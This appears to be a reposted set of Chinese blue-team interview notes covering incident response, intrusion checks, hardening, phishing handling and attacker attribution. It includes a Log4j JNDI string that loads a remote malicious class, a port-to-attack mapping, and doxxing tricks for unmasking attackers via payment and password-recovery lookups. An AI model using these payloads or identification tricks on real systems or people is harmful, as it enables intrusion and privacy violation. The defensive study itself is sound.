蓝队面试知识点整理
整理自网络
1.应急响应基本思路流程
- 收集信息:收集客户信息和中毒主机信息,包括样本
- 判断类型:判断是否是安全事件,何种安全事件,勒索、挖矿、断网、DoS 等等
- 抑制范围:隔离使受害⾯不继续扩⼤
- 深入分析:日志分析、进程分析、启动项分析、样本分析方便后期溯源
- 清理处置:杀掉进程,删除文件,打补丁,删除异常系统服务,清除后门账号防止事件扩大,处理完毕后恢复生产
- 产出报告:整理并输出完整的安全事件报告
2.Windows入侵排查思路
- 检查系统账号安全1.1 查看服务器是否有弱口令,远程管理端口是否对公网开放(使用netstat -ano 命令、或者问服务器管理员)1.2
lusrmgr.msc
命令查看服务器是否存在可疑账号、新增账号,如有管理员群组的(Administrators)里的新增账户,如有,立即禁用或删除掉1.3 用 D 盾或者注册表中查看服务器是否存在隐藏账号、克隆账号 在cmd中输入:net user
看看有没有陌生用户 在cmd中输入:regedit
找到注册表分支“HKEY_LOCAL_MACHINE/SAM/SAM/Domains/Account/Users/Names/”
看看有没有克隆用户 1.4 结合日志,查看管理员登录时间、用户名是否存在异常检查方法:Win+R 打开运行,输入“eventvwr.msc”,回车运行,打开“事件查看器”,导出 Windows 日志–安全,利用 Log Parser 进行分析 系统日志包含Windows系统组件记录的事件。应用程序日志包含由应用程序或程序记录的事件。安全日志包含诸如有效和无效的登录尝试等事件,以及与资源使用相关的事件,如创建、打开或删除文件或其他对象。 - 检查异常端口、进程
netstat -ano
检查端口连接情况,是否有远程连接、可疑连接 在cmd命令行中输入 netstat -ano 查看目前的网络连接,定位可疑的pid。 根据定位出的pid,再通过tasklist命令进行进程定位tasklist | findstr “PID”
发现的感觉异常的 IP 地址可以在威胁情报平台上查询,如果是已知的恶意 IP,可以比较快速的确认攻击方式。任务管理器-进程 进程查看工具:procexp.exe
- 检查启动项、计划任务、服务启动项查看工具:
autoruns.exe
计划任务查看:按下win+r键打开运行,输入taskschd.msc
打开任务计划,查看有没有可疑的计划任务。 - 检查系统相关信息查看系统版本以及补丁信息 查找可疑目录及文件
- 日志分析 如果数据库被入侵,查看数据库登录日志等,如Sqlserver数据库支持设置记录用户登录成功 和失败的日志信息。
3.Linux入侵排查思路
- 1 账号安全
who 查看当前登录用户(tty本地登陆 pts远程登录)w 查看系统信息,想知道某一时刻用户的行为uptime 查看登陆多久、多少用户,负载``````a) 用户信息文件/etc/passwdroot:x:0:0:root:/root:/bin/bashaccount:password:UID:GID:GECOS:directory:shell用户名:密码:用户ID:组ID:用户说明:家目录:登陆之后shell注意:无密码只允许本机登陆,远程不允许登陆b) 影子文件/etc/shadowroot:$6$oGs1PqhL2p3ZetrE$X7o7bzoouHQVSEmSgsYN5UD4.kMHx6qgbTqwNVC5oOAouXvcjQSt.Ft7ql1WpkopY0UV9ajBwUt1DpYxTCVvI/:16809:0:99999:7:::用户名:加密密码:密码最后一次修改日期:两次密码的修改时间间隔:密码有效期:密码修改到期到的警告天数:密码过期之后的宽限天数:账号失效时间:保留``````/etc/passwd
存储一般的用户信息,任何人都可以访问;/etc/shadow
存储用户的密码信息,只有 root 用户可以访问 - 2 历史命令
1、root的历史命令 histroy2、打开 /home 各帐号目录下的 .bash_history,查看普通帐号的历史命令历史操作命令的清除:history -c但此命令并不会清除保存在文件中的记录,因此需要手动删除.bash_history文件中的记录
- 3 检查异常端口
netstat -antlp|morels -l /proc/$PID/XXXfile /proc/$PID/XXX查看pid所对应的进程文件信息
- 4 检查异常进程
ps aux | grep pid
- 5 检查开机启动项
/etc/rc.local/etc/rc.d/rc[0~6].d
- 6 检查定时任务
crontab -l 列出某个用户cron服务的详细内容Tips:默认编写的crontab文件会保存在 (/var/spool/cron/用户名 例如: /var/spool/cron/rootcrontab -r 删除某个用户cront任务crontab -e 使用编辑器编辑当前的crontab文件
- 7 检查服务
chkconfig --list systemctl list-unit-files查看系统运行的服务
- 8 检查异常文件
- 9 检查系统日志
- 10.其他常用命令系统信息- 查看当前系统状态
top
- 操作系统信息uname -a
- 查看当前系统进程信息ps
- 查看历史命令history
- 列出本机所有的连接和监听的端口netstat
- 查看谁在使用某个端口lsof
系统信息- 查看当前用户登录系统情况who
- 查看可登录的账户cat/etc/passwd|grep ‘/bin/bash’
- 查看用户错误的登录信息lastb
- 查看所有用户最后的登录信息lastlog
- 查看用户最近登录信息last
- /var/log/ 其中,/var/log/wtmp 存储登录成功的信息、btmp存储登录失败的信息、utmp存储当前正在登录的信息- 查看超级权限账户awk -F: '$3==0 {print $1}' /etc/passwd
- 查看空口令账户awk -F: 'length($2)==0 {print $1}' /etc/shadow
4.Linux基线规范
账号管理和授权
- 检查特殊账号,是否存在空密码的账户和 root 权限账户
- 禁用或删除无用账号
- 添加口令策略:/etc/login.defs修改配置文件,设置过期时间、连续认证失败次数
- 禁止 root 远程登录,限制root用户直接登录。
- 检查 su 权限。vi /etc/pam.d/su添加auth required pam_wheel.so group=test
服务
- 关闭不必要的服务
- SSH 服务安全 - 不允许 root 账号直接登录系统,PermitRootLogin=no- 修改 SSH 使用的协议版本为 2- 修改允许密码错误次数(默认 6 次),MaxAuthTries=3
文件系统
- 设置 umask 值 vi /etc/profile 添加行 umask 027
- 设置登录超时 vi /etc/profile 修改配置文件,将以 TMOUT= 开头的行注释,设置为 TMOUT=180
日志
- 启用 syslogd 日志,配置日志目录权限,或者设置日志服务器
- 记录所有用户的登录和操作日志,通过脚本代码实现记录所有用户的登录操作日志,防止出现安全事件后无据可查
IP 协议安全要求
- 远程登录取消 telnet 采用 ssh
- 设置 /etc/hosts.allow 和 deny
- 禁止 ICMP 重定向
- 禁止源路由转发
- 防 ssh 破解,iptables (对已经建立的所有链接都放行,限制每分钟连接 ssh 的次数)+ denyhost (添加 ip 拒绝访问)
5.Apache 服务加固
https://www.alibabacloud.com/help/zh/security-advisories/latest/harden-apache-service-security
6.常用web中间件漏洞
https://www.freebuf.com/articles/web/192063.html
(一) IIS
1、PUT漏洞
2、短文件名猜解
3、远程代码执行
4、解析漏洞
(二) Apache
1、解析漏洞
2、目录遍历
(三) Nginx
1、文件解析
2、目录遍历
3、CRLF注入
4、目录穿越
(四)Tomcat
1、远程代码执行
2、war后门文件部署
(五)jBoss
1、反序列化漏洞
2、war后门文件部署
(六)WebLogic
1、反序列化漏洞
2、SSRF
3、任意文件上传
4、war后门文件部署
(七)其它中间件相关漏洞
1、FastCGI未授权访问、任意命令执行
2、PHPCGI远程代码执行
7.护网的分组和流程?
护网的分组是在领导小组之下分为防护检测组,综合研判组,应急溯源组。流程大致分为备战,临战,决战三个阶段
备战阶段,主要任务是进行两方面的操作,一是减少攻击面,即资产梳理,减少暴露面;二是排查风险点,即通过漏洞扫描,渗透测试,弱口令等进行自查
临战阶段,主要任务也大致可以分为两个部分,一是进行内部演练,发现疏忽处并进行相应整改;二是可以适当增加安全设备,比如WAF,IPS,IDS,SOC,堡垒机等
决战阶段,作为新人,主要就是坚守岗位,有应急日志就看自己能不能解决,不能就上报,服从上级安排,优化防护,持续整改
8.简历有护网经历,你能谈谈护网的情况吗
参加过护网蓝队,负责事件研判工作,主要使用 ips,ids 等设备做流量监控与日志分析工作判断安全事件是否为误判
对安全管理中心发出的态势排查单进行排查,并将排查结果反馈给安全管理中心,对安全管理中心发出的封堵工单和解封工单进行对应的封堵与解封,每两小时反馈一次排查结果、设备巡检报告、封堵情况。查看呼池 DDOS 设备,记录并排查告警信息
蓝队研判
研判工作要充分利用已有安全设备(需要提前了解客户的网络拓扑以及部署设备情况),分析其近期的设备告警,将全部流量日志(日志条件:源地址,目的地址,端口,事件名称,时间,规则 ID,发生 次数等)根据研判标准进行筛选(像挖矿、蠕虫、病毒、拒绝服务这类不太可能为攻击方发起的攻击的事件,直接过滤掉,减少告警数量),一般情况下,真实攻击不可能只持续一次,它一定是长时间、周期性、多 IP 的进行攻击
对于告警结合威胁情报库如:微步、奇安信威胁情报中心、绿盟威胁情报云等对于流量日志的原 IP 地址进行分析,判断其是否为恶意攻击,推荐使用微步的插件,如果确认为攻击行为或者不能确认是否为攻击行为,进行下一步操作,在之前准备好的表格中查找 IP 是否为客户内网部署的设备,如果不是,继续进行下一步,在事件上报平台查看是否有其他人提交过,如果没有,则上报
然后根据流量日志,对请求数据包和返回数据包分析判断其是否为误报,需要留意 X-Forwarded-For(简称XFF)和 x-real-ip
可以了解些 webshell 工具的流量特征,尤其是免杀 webshell,有可能不会被设备识别
最后上报事件时,尽可能提供完整的截图,包括源 ip、目的ip,请求包请求体,响应包响应体等重要信息,以方便后续人员研判溯源
9.一个大范围影响的0day被曝光,作为甲方安全工程师,应该如何处理
- 首先是评估 0day 对自身系统的影响(这部分评估需要根据漏洞利用的利用点、是否需要交互、是否会影响系统的 CIA,是否有在野利用 poc,影响资产是否暴露在公网等很多因素决定,详情可以参考 CVSS )
- 如果确定有影响的话且有 poc,第一件事是先分析 poc 执行后会在什么地方留下痕迹,我们有什么样的设备去采集这些痕迹所留下的数据,比如说 ntlm relay 这种,可以考虑从 Windows 事件日志当中 event_id 等于 4769 的事件入手编写对应的规则,这样的话可以利用 SIEM 或者实时日志分析平台跑起来,可以建立起初步的感知防线,后期触发告警,人肉运营也可以快速止损
- 日常建立完整的纵深防御体系,不要依赖于某一道防线
10.钓鱼邮件处置
钓鱼邮件发现
发现途径如下:邮件系统异常登录告警、员工上报、异常行为告警、邮件蜜饵告警
推荐接入微步或奇安信的情报数据。对邮件内容出现的 URL 做扫描,可以发现大量的异常链接
https://www.freebuf.com/articles/es/264037.html
处置
- 屏蔽办公区域对钓鱼邮件内容涉及站点、URL 访问
- 根据办公环境实际情况可以在上网行为管理、路由器、交换机上进行屏蔽
- 邮件内容涉及域名、IP 均都应该进行屏蔽
- 对访问钓鱼网站的内网 IP 进行记录,以便后续排查溯源可能的后果
- 屏蔽钓鱼邮件
- 屏蔽钓鱼邮件来源邮箱域名
- 屏蔽钓鱼邮件来源 IP
- 有条件的可以根据邮件内容进行屏蔽
- 删除还在邮件服务器未被客户端收取钓鱼邮件
- 处理接收到钓鱼邮件的用户
- 根据钓鱼邮件发件人进行日志回溯此处除了需要排查有多少人接收到钓鱼邮件之外,还需要排查是否公司通讯录泄露。采用 TOP500 姓氏撞库发送钓鱼邮件的攻击方式相对后续防护较为简单。如果发现是使用公司通讯录顺序则需要根据通讯录的离职情况及新加入员工排查通讯录泄露时间。毕竟有针对性的社工库攻击威力要比 TOP100、TOP500 大很多
- 通知已接收钓鱼邮件的用户进行处理删除钓鱼邮件系统改密全盘扫毒
- 后续:溯源、员工培训提升安全意识
11.Log4j rce
log4j 是 java web 的日志组件,用来记录 web 日志
原理:
以RMI为例,简单阐述下该漏洞的攻击原理:
1、攻击者首先发布一个RMI服务,此服务将绑定一个引用类型的RMI对象。在引用对象中指定一个远程的含有恶意代码的类。
2、攻击者再发布另一个恶意代码下载服务,此服务可以下载所有含有恶意代码的类。
3、攻击者利用Log4j2的漏洞注入RMI调用,例如: log.info(“登录成功”, “${jndi:rmi://rmi-service:1188/hackedclass}”);
4、调用RMI后将获取到引用类型的RMI远程对象,该对象将就加载恶意代码并执行。
修复:升级 Log4j 到最新版本,根据业务判断是否关闭 lookup
12.WAF产品如何来拦截攻击?
Waf 产品有三种
云 Waf
用户不需要在自己的网络中安装软件程序或部署硬件设备,就可以对网站实施安全防护,它的主要实现方式是利用 DNS 技术,通过移交域名解析权来实现安全防护。用户的请求首先发送到云端节点进行检测,如存在异常请求则进行拦截否则将请求转发至真实服务器
Web 防护软件
安装在需要防护的服务器上,实现方式通常是 Waf 监听端口或以 Web 容器扩展方式进行请求检测和阻断
硬件 Web 防火墙
Waf 串行部署在 Web 服务器前端,用于检测、阻断异常流量。常规硬件 Waf 的实现方式是通过代理技术代理来自外部的流量
原理都相同,通过部署在 Web 服务器前方串行接入来将 Web 流量牵引到 WAF 设备中进行清洗或者拦截,最终只把正常用户的请求转发给服务器
当前市场上 Waf 产品核心的防护机制是“规则”,每一个请求、会话,经过抓包,“开包检查”,每一项规则都会检查到,一旦检查不通过,就会被认为是非法访问,拒绝处理
13.溯源
基本步骤
1.攻击源捕获
- 安全设备报警,如扫描IP、威胁阻断、病毒木马、入侵事件等
- 日志与流量分析,异常的通讯流量、攻击源与攻击目标等
- 服务器资源异常,异常的文件、账号、进程、端口,启动项、计划任务和服务等
- 邮件钓鱼,获取恶意文件样本、钓鱼网站 URL 等
- 蜜罐系统,获取攻击者 ID、电脑信息、浏览器指纹、行为、意图的相关信息
2.溯源反制手段
- IP 定位技术 根据IP定位物理地址–代理 IP 溯源案例:通过 IP 端口扫描,反向渗透服务器进行分析,最终定位到攻击者相关信息
- ID 追踪术 ID 追踪术,搜索引擎、社交平台、技术论坛、社工库匹配 溯源案例:利用 ID 从技术论坛追溯邮箱,继续通过邮箱反追踪真实姓名,通过姓名找到相关简历信息
- 网站 url 域名 Whois 查询–注册人姓名、地址、电话和邮箱 --域名隐私保护 溯源案例:通过攻击 IP 历史解析记录/域名,对域名注册信息进行溯源分析
- 恶意样本分析 提取样本特征、用户名、ID、邮箱、C2 服务器等信息–同源分析 溯源案例:样本分析过程中,发现攻击者的个人 ID 和 QQ,成功定位到攻击者
- 社交账号 基于 JSONP 跨域,获取攻击者的主机信息、浏览器信息、真实 IP 及社交信息等 利用条件:可以找到相关社交网站的 jsonp 接口泄露敏感信息,相关网站登录未注销
3.攻击者画像
- 攻击路径
攻击目的:拿到权限、窃取数据、获取利益、DDOS 等
网络代理:代理 IP、跳板机、C2 服务器等
攻击手法:鱼叉式邮件钓鱼、Web渗透、水坑攻击、近源渗透、社会工程等
- 攻击者身份画像
虚拟身份:ID、昵称、网名
真实身份:姓名、物理位置
联系方式:手机号、qq/微信、邮箱
组织情况:单位名称、职位信息
技巧
- 域名、ip 反查目标个人信息
- 支付宝转账,确定目标姓氏
- 淘宝找回密码,确定目标名字
- 企业微信手机号查公司名称
- REG007 查注册应用、网站
- 程序 PDB 信息泄露
13. 如何识别安全设备中的无效告警
比如说:攻击方通过对目标资产所处的C段进行批量扫描,但C段的资产并非都是处于「活跃」状态,甚至根本没有这个资产。而安全设备还是因为这个「攻击尝试行为」产生了告警,那么这种告警就属于“无效告警”。
比如说:攻击方尝试利用现成的“EXP&POC集成脚本工具”对资产目标进行检测扫描,安全设备检测到“攻击尝试行为”中的攻击特征就会产生告警。在通常情况下,可以把告警中的URL的“网页状态码”、“页面回显数据”作为“误报告警”判断的条件之一。
14.常见的端口是哪些,是什么服务,对应的红队攻击方式
数据库类(扫描弱口令)
- 1433:MSSQL
- 1521:Oracle
- 3306:Mysql
- 5432:PostgreSQL
特殊服务类(未授权/命令执行)
- 443:ssl 心脏滴血
- 873:Rsync 未授权
- 5984:CouchDB http://xxx:5984/_utils/
- 6379:Redis 未授权
- 7001、7002:Weblogic 默认弱口令
- 8088:Hadoop Yarn 资源管理系统 REST API 存在未授权
- 8161:Apache ActiveMQ 未授权、弱口令,put 文件上传,move 文件移动
- 9200、9300:elasticsearch 命令执行
- 11211:Memcache 未授权,telnet ip 就可以获得服务器敏感信息
- 27017、27018:Mongodb 未授权
- 50000:SAP 命令执行
- 50070、50030 Hadoop 未授权访问
常用端口类(弱口令/端口爆破)
- 21:FTP 弱口令,匿名 anonymous/空登录,以及 ms12-073
- 25:SMTP 简单邮件传输服务器端口
- 23:Telnet 的端口,Telnet 是一种可以远程登录并管理远程机器的服务
- 22:ssh 端口,PcAnywhere 建立 TCP 和这一端口的连接可能是为了寻找 ssh,这一服务有许多弱点
- 53:dns 端口
- 139:属于 TCP 协议,是为 NetBIOS Session Service 提供的,主要提供 Windows 文件和打印机共享以及 Unix 中的 Samba 服务
- 445:网络共享 smb 服务,尝试利用 ms08067,ms17010 等以及 IPC$ 攻击手段
- 2601、2604:zebra 路由,默认密码 zebra
15.木马驻留系统的方式有哪些?
a. 注册表
b. 服务
c. 启动目录
d. 计划任务
e. 关联文件类型
版权归原作者 RyanWang0000 所有, 如有侵权,请联系我们删除。